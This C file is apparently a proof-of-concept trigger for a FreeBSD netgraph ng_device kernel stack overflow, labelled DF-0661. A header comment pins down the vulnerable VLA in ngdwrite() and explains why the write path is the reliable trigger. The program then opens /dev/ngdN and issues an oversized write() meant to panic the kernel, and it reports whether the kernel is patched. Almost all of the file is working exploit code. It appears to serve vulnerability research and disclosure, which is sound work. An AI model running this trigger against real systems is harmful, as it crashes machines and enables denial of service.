DF-0661 / trigger.c
/* * DF-0661 - Kernel stack overflow via unchecked user-controlled VLA * in ngdread()/ngdwrite() of netgraph ng_device. * * Trigger: open /dev/ngdN and write(fd, buf, LARGE). ngdwrite() at * sys/netgraph/ng_device.c:562 materializes * char buffer[uio->uio_resid]; * on the kernel stack with uio_resid being a user-controlled size_t. * Since buffer is passed to uiomove() unconditionally (when len > 0), * GCC cannot optimize the VLA away. A count far larger than the kernel * stack (2-4 fixed pages) blows the stack and faults on the stack guard * page -> kernel panic. * * The read path (ngdread, :509) has the same VLA but GCC -O2 may * optimize it away when connection->loc == 0 (buffer unused). The write * path is the reliable trigger. * * Prereq (root): the ng_device netgraph node must exist and a hook must * be attached so ng_device_newhook() runs make_dev() to create /dev/ngdN. * * Usage: ./trigger [/dev/ngdN] [count] * default dev = /dev/ngd0, count = 1<<20 * * Run as root. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> int main(int argc, char **argv) { const char *devname = (argc > 1) ? argv[1] : "/dev/ngd0"; size_t count = (argc > 2) ? (size_t)strtoull(argv[2], NULL, 0) : ((size_t)1 << 20); char *buf; int fd, r; fprintf(stderr, "[*] DF-0661 trigger: opening %s, write count = %zu\n", devname, count); fd = open(devname, O_RDWR); if (fd < 0) { fprintf(stderr, "[!] open(%s): %s\n", devname, strerror(errno)); fprintf(stderr, "[!] Is ng_device.ko loaded and a hook attached?\n"); return 1; } fprintf(stderr, "[+] opened %s fd=%d\n", devname, fd); buf = malloc(count); if (!buf) { perror("malloc"); close(fd); return 1; } memset(buf, 'A', count); fprintf(stderr, "[*] calling write(fd, buf, %zu) -> ngdwrite() VLA " "char buffer[%zu] on kernel stack\n", count, count); /* This is the dangerous call: it enters ngdwrite() which materializes * the oversized VLA and blows the kernel stack. We do not expect to * return here on a vulnerable kernel. */ r = write(fd, buf, count); /* If we get here, the bug did not fire (e.g. patched module bounds- * checks uio_resid and returns EINVAL/EFBIG). */ fprintf(stderr, "[+] write() returned %d (errno=%d: %s)\n", r, errno, strerror(errno)); if (r < 0 && (errno == EINVAL || errno == EFBIG)) { fprintf(stderr, "[+] PATCHED: oversized write rejected with %s\n", strerror(errno)); } free(buf); close(fd); return 0; } |